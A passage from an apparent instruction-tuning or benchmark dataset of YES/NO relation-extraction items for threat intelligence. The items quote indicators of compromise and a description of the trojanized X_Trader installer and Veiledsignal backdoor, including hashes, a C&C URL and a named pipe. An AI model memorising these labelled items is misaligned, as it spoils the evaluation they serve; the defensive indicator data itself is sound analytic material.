executable used for side-loading (tpmvscmgrsvr.exe)\ncc4eedb7b1f77f02b962f4b05278fa7f8082708b5a12cacf928118520762b5e2 \u2013 Veiledsignal loader (winscard.dll)\n277119738f4bdafa1cde9790ec82ce1e46e04cebf6c43c0e100246f681ba184e \u2013 Veiledsignal loader (devobj.dll)\ncb374af8990c5f47b627596c74e2308fbf39ba33d08d862a2bea46631409539f \u2013 Malicious DLL (msvcr100.dll)\nd937e19ccb3fd1dddeea3eaaf72645e8cd64083228a0df69c60820289b1aa3c0 \u2013 Malicious DLL (msvcr100.dll)\ne185c99b3d1085aed9fda65a9774abd73ecf1229f14591606c6c59e9660c4345 - Veiledsignal main component\n19442d9e476e3ef990ce57b683190301e946ccb28fc88b69ab53a93bf84464ae - Veiledsignal process-injection module\nf8c370c67ffb3a88107c9022b17382b5465c4af3dd453e50e4a0bd3ae9b012ce - Veiledsignal communications module\nhttps://www.tradingtechnologies.com/trading/order-management - Veiledsignal C&C server\n\\\\\\\\.\\pipe\\gecko.nativeMessaging.in.foo8bc16e6288f2a -Veiledsignal named pipe\nMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.40 - Veiledsignal user agent\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n6e11c02485ddd5a3798bf0f77206f2be37487ba04d3119e2d5ce12501178b378\n### Target Entity: Trojanized installer\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\n900b63ff9b06e0890bf642bdfcbfcc6ab7887c7a3c057c8e3fd6fba5ffc8e5d6 - Trojanized installer (X_TRADER_r7.17.90p608.exe)\n6e989462acf2321ff671eaf91b4e3933b77dab6ab51cd1403a7fe056bf4763ba \u2013 Possible Trojanized installer\naa318070ad1bf90ed459ac34dc5254acc178baff3202d2ea7f49aaf5a055dd43 - Malicious component of Trojanized installer (setup.exe)\n6e11c02485ddd5a3798bf0f77206f2be37487ba04d3119e2d5ce12501178b378 - Malicious component of Trojanized installer (setup.exe)\n47a8e3b20405a23f7634fa296f148cab39a7f5f84248c6afcfabf5201374d1d1 - Benign Windows executable used for side-loading (tpmvscmgrsvr.exe)\ncc4eedb7b1f77f02b962f4b05278fa7f8082708b5a12cacf928118520762b5e2 \u2013 Veiledsignal loader (winscard.dll)\n277119738f4bdafa1cde9790ec82ce1e46e04cebf6c43c0e100246f681ba184e \u2013 Veiledsignal loader (devobj.dll)\ncb374af8990c5f47b627596c74e2308fbf39ba33d08d862a2bea46631409539f \u2013 Malicious DLL (msvcr100.dll)\nd937e19ccb3fd1dddeea3eaaf72645e8cd64083228a0df69c60820289b1aa3c0 \u2013 Malicious DLL (msvcr100.dll)\ne185c99b3d1085aed9fda65a9774abd73ecf1229f14591606c6c59e9660c4345 - Veiledsignal main component\n19442d9e476e3ef990ce57b683190301e946ccb28fc88b69ab53a93bf84464ae - Veiledsignal process-injection module\nf8c370c67ffb3a88107c9022b17382b5465c4af3dd453e50e4a0bd3ae9b012ce - Veiledsignal communications module\nhttps://www.tradingtechnologies.com/trading/order-management - Veiledsignal C&C server\n\\\\\\\\.\\pipe\\gecko.nativeMessaging.in.foo8bc16e6288f2a -Veiledsignal named pipe\nMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.40 - Veiledsignal user agent\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nd937e19ccb3fd1dddeea3eaaf72645e8cd64083228a0df69c60820289b1aa3c0\n### Target Entity: Veiledsignal\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\n900b63ff9b06e0890bf642bdfcbfcc6ab7887c7a3c057c8e3fd6fba5ffc8e5d6 - Trojanized installer (X_TRADER_r7.17.90p608.exe)\n6e989462acf2321ff671eaf91b4e3933b77dab6ab51cd1403a7fe056bf4763ba \u2013 Possible Trojanized installer\naa318070ad1bf90ed459ac34dc5254acc178baff3202d2ea7f49aaf5a055dd43 - Malicious component of Trojanized installer (setup.exe)\n6e11c02485ddd5a3798bf0f77206f2be37487ba04d3119e2d5ce12501178b378 - Malicious component of Trojanized installer (setup.exe)\n47a8e3b20405a23f7634fa296f148cab39a7f5f84248c6afcfabf5201374d1d1 - Benign Windows executable used for side-loading (tpmvscmgrsvr.exe)\ncc4eedb7b1f77f02b962f4b05278fa7f8082708b5a12cacf928118520762b5e2 \u2013 Veiledsignal loader (winscard.dll)\n277119738f4bdafa1cde9790ec82ce1e46e04cebf6c43c0e100246f681ba184e \u2013 Veiledsignal loader (devobj.dll)\ncb374af8990c5f47b627596c74e2308fbf39ba33d08d862a2bea46631409539f \u2013 Malicious DLL (msvcr100.dll)\nd937e19ccb3fd1dddeea3eaaf72645e8cd64083228a0df69c60820289b1aa3c0 \u2013 Malicious DLL (msvcr100.dll)\ne185c99b3d1085aed9fda65a9774abd73ecf1229f14591606c6c59e9660c4345 - Veiledsignal main component\n19442d9e476e3ef990ce57b683190301e946ccb28fc88b69ab53a93bf84464ae - Veiledsignal process-injection module\nf8c370c67ffb3a88107c9022b17382b5465c4af3dd453e50e4a0bd3ae9b012ce - Veiledsignal communications module\nhttps://www.tradingtechnologies.com/trading/order-management - Veiledsignal C&C server\n\\\\\\\\.\\pipe\\gecko.nativeMessaging.in.foo8bc16e6288f2a -Veiledsignal named pipe\nMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.40 - Veiledsignal user agent\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\ncc4eedb7b1f77f02b962f4b05278fa7f8082708b5a12cacf928118520762b5e2\n### Target Entity: Veiledsignal\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\n900b63ff9b06e0890bf642bdfcbfcc6ab7887c7a3c057c8e3fd6fba5ffc8e5d6 - Trojanized installer (X_TRADER_r7.17.90p608.exe)\n6e989462acf2321ff671eaf91b4e3933b77dab6ab51cd1403a7fe056bf4763ba \u2013 Possible Trojanized installer\naa318070ad1bf90ed459ac34dc5254acc178baff3202d2ea7f49aaf5a055dd43 - Malicious component of Trojanized installer (setup.exe)\n6e11c02485ddd5a3798bf0f77206f2be37487ba04d3119e2d5ce12501178b378 - Malicious component of Trojanized installer (setup.exe)\n47a8e3b20405a23f7634fa296f148cab39a7f5f84248c6afcfabf5201374d1d1 - Benign Windows executable used for side-loading (tpmvscmgrsvr.exe)\ncc4eedb7b1f77f02b962f4b05278fa7f8082708b5a12cacf928118520762b5e2 \u2013 Veiledsignal loader (winscard.dll)\n277119738f4bdafa1cde9790ec82ce1e46e04cebf6c43c0e100246f681ba184e \u2013 Veiledsignal loader (devobj.dll)\ncb374af8990c5f47b627596c74e2308fbf39ba33d08d862a2bea46631409539f \u2013 Malicious DLL (msvcr100.dll)\nd937e19ccb3fd1dddeea3eaaf72645e8cd64083228a0df69c60820289b1aa3c0 \u2013 Malicious DLL (msvcr100.dll)\ne185c99b3d1085aed9fda65a9774abd73ecf1229f14591606c6c59e9660c4345 - Veiledsignal main component\n19442d9e476e3ef990ce57b683190301e946ccb28fc88b69ab53a93bf84464ae - Veiledsignal process-injection module\nf8c370c67ffb3a88107c9022b17382b5465c4af3dd453e50e4a0bd3ae9b012ce - Veiledsignal communications module\nhttps://www.tradingtechnologies.com/trading/order-management - Veiledsignal C&C server\n\\\\\\\\.\\pipe\\gecko.nativeMessaging.in.foo8bc16e6288f2a -Veiledsignal named pipe\nMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.40 - Veiledsignal user agent\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\ncb374af8990c5f47b627596c74e2308fbf39ba33d08d862a2bea46631409539f\n### Target Entity: Veiledsignal\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\n900b63ff9b06e0890bf642bdfcbfcc6ab7887c7a3c057c8e3fd6fba5ffc8e5d6 - Trojanized installer (X_TRADER_r7.17.90p608.exe)\n6e989462acf2321ff671eaf91b4e3933b77dab6ab51cd1403a7fe056bf4763ba \u2013 Possible Trojanized installer\naa318070ad1bf90ed459ac34dc5254acc178baff3202d2ea7f49aaf5a055dd43 - Malicious component of Trojanized installer (setup.exe)\n6e11c02485ddd5a3798bf0f77206f2be37487ba04d3119e2d5ce12501178b378 - Malicious component of Trojanized installer (setup.exe)\n47a8e3b20405a23f7634fa296f148cab39a7f5f84248c6afcfabf5201374d1d1 - Benign Windows executable used for side-loading (tpmvscmgrsvr.exe)\ncc4eedb7b1f77f02b962f4b05278fa7f8082708b5a12cacf928118520762b5e2 \u2013 Veiledsignal loader (winscard.dll)\n277119738f4bdafa1cde9790ec82ce1e46e04cebf6c43c0e100246f681ba184e \u2013 Veiledsignal loader (devobj.dll)\ncb374af8990c5f47b627596c74e2308fbf39ba33d08d862a2bea46631409539f \u2013 Malicious DLL (msvcr100.dll)\nd937e19ccb3fd1dddeea3eaaf72645e8cd64083228a0df69c60820289b1aa3c0 \u2013 Malicious DLL (msvcr100.dll)\ne185c99b3d1085aed9fda65a9774abd73ecf1229f14591606c6c59e9660c4345 - Veiledsignal main component\n19442d9e476e3ef990ce57b683190301e946ccb28fc88b69ab53a93bf84464ae - Veiledsignal process-injection module\nf8c370c67ffb3a88107c9022b17382b5465c4af3dd453e50e4a0bd3ae9b012ce - Veiledsignal communications module\nhttps://www.tradingtechnologies.com/trading/order-management - Veiledsignal C&C server\n\\\\\\\\.\\pipe\\gecko.nativeMessaging.in.foo8bc16e6288f2a -Veiledsignal named pipe\nMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.40 - Veiledsignal user agent\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nVeiledsignal\n### Target Entity: Windows NT 10.0\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\n900b63ff9b06e0890bf642bdfcbfcc6ab7887c7a3c057c8e3fd6fba5ffc8e5d6 - Trojanized installer (X_TRADER_r7.17.90p608.exe)\n6e989462acf2321ff671eaf91b4e3933b77dab6ab51cd1403a7fe056bf4763ba \u2013 Possible Trojanized installer\naa318070ad1bf90ed459ac34dc5254acc178baff3202d2ea7f49aaf5a055dd43 - Malicious component of Trojanized installer (setup.exe)\n6e11c02485ddd5a3798bf0f77206f2be37487ba04d3119e2d5ce12501178b378 - Malicious component of Trojanized installer (setup.exe)\n47a8e3b20405a23f7634fa296f148cab39a7f5f84248c6afcfabf5201374d1d1 - Benign Windows executable used for side-loading (tpmvscmgrsvr.exe)\ncc4eedb7b1f77f02b962f4b05278fa7f8082708b5a12cacf928118520762b5e2 \u2013 Veiledsignal loader (winscard.dll)\n277119738f4bdafa1cde9790ec82ce1e46e04cebf6c43c0e100246f681ba184e \u2013 Veiledsignal loader (devobj.dll)\ncb374af8990c5f47b627596c74e2308fbf39ba33d08d862a2bea46631409539f \u2013 Malicious DLL (msvcr100.dll)\nd937e19ccb3fd1dddeea3eaaf72645e8cd64083228a0df69c60820289b1aa3c0 \u2013 Malicious DLL (msvcr100.dll)\ne185c99b3d1085aed9fda65a9774abd73ecf1229f14591606c6c59e9660c4345 - Veiledsignal main component\n19442d9e476e3ef990ce57b683190301e946ccb28fc88b69ab53a93bf84464ae - Veiledsignal process-injection module\nf8c370c67ffb3a88107c9022b17382b5465c4af3dd453e50e4a0bd3ae9b012ce - Veiledsignal communications module\nhttps://www.tradingtechnologies.com/trading/order-management - Veiledsignal C&C server\n\\\\\\\\.\\pipe\\gecko.nativeMessaging.in.foo8bc16e6288f2a -Veiledsignal named pipe\nMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.40 - Veiledsignal user agent\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nVeiledsignal\n### Target Entity: C&C\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\n900b63ff9b06e0890bf642bdfcbfcc6ab7887c7a3c057c8e3fd6fba5ffc8e5d6 - Trojanized installer (X_TRADER_r7.17.90p608.exe)\n6e989462acf2321ff671eaf91b4e3933b77dab6ab51cd1403a7fe056bf4763ba \u2013 Possible Trojanized installer\naa318070ad1bf90ed459ac34dc5254acc178baff3202d2ea7f49aaf5a055dd43 - Malicious component of Trojanized installer (setup.exe)\n6e11c02485ddd5a3798bf0f77206f2be37487ba04d3119e2d5ce12501178b378 - Malicious component of Trojanized installer (setup.exe)\n47a8e3b20405a23f7634fa296f148cab39a7f5f84248c6afcfabf5201374d1d1 - Benign Windows executable used for side-loading (tpmvscmgrsvr.exe)\ncc4eedb7b1f77f02b962f4b05278fa7f8082708b5a12cacf928118520762b5e2 \u2013 Veiledsignal loader (winscard.dll)\n277119738f4bdafa1cde9790ec82ce1e46e04cebf6c43c0e100246f681ba184e \u2013 Veiledsignal loader (devobj.dll)\ncb374af8990c5f47b627596c74e2308fbf39ba33d08d862a2bea46631409539f \u2013 Malicious DLL (msvcr100.dll)\nd937e19ccb3fd1dddeea3eaaf72645e8cd64083228a0df69c60820289b1aa3c0 \u2013 Malicious DLL (msvcr100.dll)\ne185c99b3d1085aed9fda65a9774abd73ecf1229f14591606c6c59e9660c4345 - Veiledsignal main component\n19442d9e476e3ef990ce57b683190301e946ccb28fc88b69ab53a93bf84464ae - Veiledsignal process-injection module\nf8c370c67ffb3a88107c9022b17382b5465c4af3dd453e50e4a0bd3ae9b012ce - Veiledsignal communications module\nhttps://www.tradingtechnologies.com/trading/order-management - Veiledsignal C&C server\n\\\\\\\\.\\pipe\\gecko.nativeMessaging.in.foo8bc16e6288f2a -Veiledsignal named pipe\nMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.40 - Veiledsignal user agent\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nTrojanized installer\n### Target Entity: Veiledsignal\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\n900b63ff9b06e0890bf642bdfcbfcc6ab7887c7a3c057c8e3fd6fba5ffc8e5d6 - Trojanized installer (X_TRADER_r7.17.90p608.exe)\n6e989462acf2321ff671eaf91b4e3933b77dab6ab51cd1403a7fe056bf4763ba \u2013 Possible Trojanized installer\naa318070ad1bf90ed459ac34dc5254acc178baff3202d2ea7f49aaf5a055dd43 - Malicious component of Trojanized installer (setup.exe)\n6e11c02485ddd5a3798bf0f77206f2be37487ba04d3119e2d5ce12501178b378 - Malicious component of Trojanized installer (setup.exe)\n47a8e3b20405a23f7634fa296f148cab39a7f5f84248c6afcfabf5201374d1d1 - Benign Windows executable used for side-loading (tpmvscmgrsvr.exe)\ncc4eedb7b1f77f02b962f4b05278fa7f8082708b5a12cacf928118520762b5e2 \u2013 Veiledsignal loader (winscard.dll)\n277119738f4bdafa1cde9790ec82ce1e46e04cebf6c43c0e100246f681ba184e \u2013 Veiledsignal loader (devobj.dll)\ncb374af8990c5f47b627596c74e2308fbf39ba33d08d862a2bea46631409539f \u2013 Malicious DLL (msvcr100.dll)\nd937e19ccb3fd1dddeea3eaaf72645e8cd64083228a0df69c60820289b1aa3c0 \u2013 Malicious DLL (msvcr100.dll)\ne185c99b3d1085aed9fda65a9774abd73ecf1229f14591606c6c59e9660c4345 - Veiledsignal main component\n19442d9e476e3ef990ce57b683190301e946ccb28fc88b69ab53a93bf84464ae - Veiledsignal process-injection module\nf8c370c67ffb3a88107c9022b17382b5465c4af3dd453e50e4a0bd3ae9b012ce - Veiledsignal communications module\nhttps://www.tradingtechnologies.com/trading/order-management - Veiledsignal C&C server\n\\\\\\\\.\\pipe\\gecko.nativeMessaging.in.foo8bc16e6288f2a -Veiledsignal named pipe\nMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.40 - Veiledsignal user agent\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nVeiledsignal\n### Target Entity: Chrome\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\n900b63ff9b06e0890bf642bdfcbfcc6ab7887c7a3c057c8e3fd6fba5ffc8e5d6 - Trojanized installer (X_TRADER_r7.17.90p608.exe)\n6e989462acf2321ff671eaf91b4e3933b77dab6ab51cd1403a7fe056bf4763ba \u2013 Possible Trojanized installer\naa318070ad1bf90ed459ac34dc5254acc178baff3202d2ea7f49aaf5a055dd43 - Malicious component of Trojanized installer (setup.exe)\n6e11c02485ddd5a3798bf0f77206f2be37487ba04d3119e2d5ce12501178b378 - Malicious component of Trojanized installer (setup.exe)\n47a8e3b20405a23f7634fa296f148cab39a7f5f84248c6afcfabf5201374d1d1 - Benign Windows executable used for side-loading (tpmvscmgrsvr.exe)\ncc4eedb7b1f77f02b962f4b05278fa7f8082708b5a12cacf928118520762b5e2 \u2013 Veiledsignal loader (winscard.dll)\n277119738f4bdafa1cde9790ec82ce1e46e04cebf6c43c0e100246f681ba184e \u2013 Veiledsignal loader (devobj.dll)\ncb374af8990c5f47b627596c74e2308fbf39ba33d08d862a2bea46631409539f \u2013 Malicious DLL (msvcr100.dll)\nd937e19ccb3fd1dddeea3eaaf72645e8cd64083228a0df69c60820289b1aa3c0 \u2013 Malicious DLL (msvcr100.dll)\ne185c99b3d1085aed9fda65a9774abd73ecf1229f14591606c6c59e9660c4345 - Veiledsignal main component\n19442d9e476e3ef990ce57b683190301e946ccb28fc88b69ab53a93bf84464ae - Veiledsignal process-injection module\nf8c370c67ffb3a88107c9022b17382b5465c4af3dd453e50e4a0bd3ae9b012ce - Veiledsignal communications module\nhttps://www.tradingtechnologies.com/trading/order-management - Veiledsignal C&C server\n\\\\\\\\.\\pipe\\gecko.nativeMessaging.in.foo8bc16e6288f2a -Veiledsignal named pipe\nMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.40 - Veiledsignal user agent\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nd937e19ccb3fd1dddeea3eaaf72645e8cd64083228a0df69c60820289b1aa3c0\n### Target Entity: Trojanized installer\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\n900b63ff9b06e0890bf642bdfcbfcc6ab7887c7a3c057c8e3fd6fba5ffc8e5d6 - Trojanized installer (X_TRADER_r7.17.90p608.exe)\n6e989462acf2321ff671eaf91b4e3933b77dab6ab51cd1403a7fe056bf4763ba \u2013 Possible Trojanized installer\naa318070ad1bf90ed459ac34dc5254acc178baff3202d2ea7f49aaf5a055dd43 - Malicious component of Trojanized installer (setup.exe)\n6e11c02485ddd5a3798bf0f77206f2be37487ba04d3119e2d5ce12501178b378 - Malicious component of Trojanized installer (setup.exe)\n47a8e3b20405a23f7634fa296f148cab39a7f5f84248c6afcfabf5201374d1d1 - Benign Windows executable used for side-loading (tpmvscmgrsvr.exe)\ncc4eedb7b1f77f02b962f4b05278fa7f8082708b5a12cacf928118520762b5e2 \u2013 Veiledsignal loader (winscard.dll)\n277119738f4bdafa1cde9790ec82ce1e46e04cebf6c43c0e100246f681ba184e \u2013 Veiledsignal loader (devobj.dll)\ncb374af8990c5f47b627596c74e2308fbf39ba33d08d862a2bea46631409539f \u2013 Malicious DLL (msvcr100.dll)\nd937e19ccb3fd1dddeea3eaaf72645e8cd64083228a0df69c60820289b1aa3c0 \u2013 Malicious DLL (msvcr100.dll)\ne185c99b3d1085aed9fda65a9774abd73ecf1229f14591606c6c59e9660c4345 - Veiledsignal main component\n19442d9e476e3ef990ce57b683190301e946ccb28fc88b69ab53a93bf84464ae - Veiledsignal process-injection module\nf8c370c67ffb3a88107c9022b17382b5465c4af3dd453e50e4a0bd3ae9b012ce - Veiledsignal communications module\nhttps://www.tradingtechnologies.com/trading/order-management - Veiledsignal C&C server\n\\\\\\\\.\\pipe\\gecko.nativeMessaging.in.foo8bc16e6288f2a -Veiledsignal named pipe\nMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.40 - Veiledsignal user agent\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nwinscard.dll\n### Target Entity: X_Trader\n### Text Passage:\nBackdoor Installation\nOnce installed, the legitimate X_Trader executable side-loads the two malicious DLLs dropped by the installer. The first, winscard.dll, acts as a loader and contains code that will load and execute a payload from the second (msvcr100.dll). The msvcr100.dll file contains an encrypted blob appended to the file. The blob starts with the hex value FEEDFACE, which the loader uses to find the blob.\nThe process for payload installation is almost identical as that seen with the Trojanized 3CX app, where two side-loaded DLLs are used to extract a payload from an encrypted blob.\nIn this attack, the payload extracted is a modular backdoor called Veiledsignal (SHA256: e185c99b3d1085aed9fda65a9774abd73ecf1229f14591606c6c59e9660c4345). Veiledsignal contains another DLL (SHA256: 19442d9e476e3ef990ce57b683190301e946ccb28fc88b69ab53a93bf84464ae), which is a process-injection module. This can be injected into the Chrome, Firefox, or Edge web browsers. The module contains a second DLL (SHA256: f8c370c67ffb3a88107c9022b17382b5465c4af3dd453e50e4a0bd3ae9b012ce), which is a command-and-control (C&C) module. It connects to the following C&C URL:\n* https://www.tradingtechnologies.com/trading/order-management\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nmsvcr100.dll\n### Target Entity: X_Trader\n### Text Passage:\nBackdoor Installation\nOnce installed, the legitimate X_Trader executable side-loads the two malicious DLLs dropped by the installer. The first, winscard.dll, acts as a loader and contains code that will load and execute a payload from the second (msvcr100.dll). The msvcr100.dll file contains an encrypted blob appended to the file. The blob starts with the hex value FEEDFACE, which the loader uses to find the blob.\nThe process for payload installation is almost identical as that seen with the Trojanized 3CX app, where two side-loaded DLLs are used to extract a payload from an encrypted blob.\nIn this attack, the payload extracted is a modular backdoor called Veiledsignal (SHA256: e185c99b3d1085aed9fda65a9774abd73ecf1229f14591606c6c59e9660c4345). Veiledsignal contains another DLL (SHA256: 19442d9e476e3ef990ce57b683190301e946ccb28fc88b69ab53a93bf84464ae), which is a process-injection module. This can be injected into the Chrome, Firefox, or Edge web browsers. The module contains a second DLL (SHA256: f8c370c67ffb3a88107c9022b17382b5465c4af3dd453e50e4a0bd3ae9b012ce), which is a command-and-control (C&C) module. It connects to the following C&C URL:\n* https://www.tradingtechnologies.com/trading/order-management\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nf8c370c67ffb3a88107c9022b17382b5465c4af3dd453e50e4a0bd3ae9b012ce\n### Target Entity: Veiledsignal\n### Text Passage:\nBackdoor Installation\nOnce installed, the legitimate X_Trader executable side-loads the two malicious DLLs dropped by the installer. The first, winscard.dll, acts as a loader and contains code that will load and execute a payload from the second (msvcr100.dll). The msvcr100.dll file contains an encrypted blob appended to the file. The blob starts with the hex value FEEDFACE, which the loader uses to find the blob.\nThe process for payload installation is almost identical as that seen with the Trojanized 3CX app, where two side-loaded DLLs are used to extract a payload from an encrypted blob.\nIn this attack, the payload extracted is a modular backdoor called Veiledsignal (SHA256: e185c99b3d1085aed9fda65a9774abd73ecf1229f14591606c6c59e9660c4345). Veiledsignal contains another DLL (SHA256: 19442d9e476e3ef990ce57b683190301e946ccb28fc88b69ab53a93bf84464ae), which is a process-injection module. This can be injected into the Chrome, Firefox, or Edge web browsers. The module contains a second DLL (SHA256: f8c370c67ffb3a88107c9022b17382b5465c4af3dd453e50e4a0bd3ae9b012ce), which is a command-and-control (C&C) module. It connects to the following C&C URL:\n* https://www.tradingtechnologies.com/trading/order-management\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\ne185c99b3d1085aed9fda65a9774abd73ecf1229f14591606c6c59e9660c4345\n### Target Entity: Veiledsignal\n### Text Passage:\nBackdoor Installation\nOnce installed, the legitimate X_Trader executable side-loads the two malicious DLLs dropped by the installer. The first, winscard.dll, acts as a loader and contains code that will load and execute a payload from the second (msvcr100.dll). The msvcr100.dll file contains an encrypted blob appended to the file. The blob starts with the hex value FEEDFACE, which the loader uses to find the blob.\nThe process for payload installation is almost identical as that seen with the Trojanized 3CX app, where two side-loaded DLLs are used to extract a payload from an encrypted blob.\nIn this attack, the payload extracted is a modular backdoor called Veiledsignal (SHA256: e185c99b3d1085aed9fda65a9774abd73ecf1229f14591606c6c59e9660c4345). Veiledsignal contains another DLL (SHA256: 19442d9e476e3ef990ce57b683190301e946ccb28fc88b69ab53a93bf84464ae), which is a process-injection module. This can be injected into the Chrome, Firefox, or Edge web browsers. The module contains a second DLL (SHA256: f8c370c67ffb3a88107c9022b17382b5465c4af3dd453e50e4a0bd3ae9b012ce), which is a command-and-control (C&C) module. It connects to the following C&C URL:\n* https://www.tradingtechnologies.com/trading/order-management\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n19442d9e476e3ef990ce57b683190301e946ccb28fc88b69ab53a93bf84464ae\n### Target Entity: Veiledsignal\n### Text Passage:\nBackdoor Installation\nOnce installed, the legitimate X_Trader executable side-loads the two malicious DLLs dropped by the installer. The first, winscard.dll, acts as a loader and contains code that will load and execute a payload from the second (msvcr100.dll). The msvcr100.dll file contains an encrypted blob appended to the file. The blob starts with the hex value FEEDFACE, which the loader uses to find the blob.\nThe process for payload installation is almost identical as that seen with the Trojanized 3CX app, where two side-loaded DLLs are used to extract a payload from an encrypted blob.\nIn this attack, the payload extracted is a modular backdoor called Veiledsignal (SHA256: e185c99b3d1085aed9fda65a9774abd73ecf1229f14591606c6c59e9660c4345). Veiledsignal contains another DLL (SHA256: 19442d9e476e3ef990ce57b683190301e946ccb28fc88b69ab53a93bf84464ae), which is a process-injection module. This can be injected into the Chrome, Firefox, or Edge web browsers. The module contains a 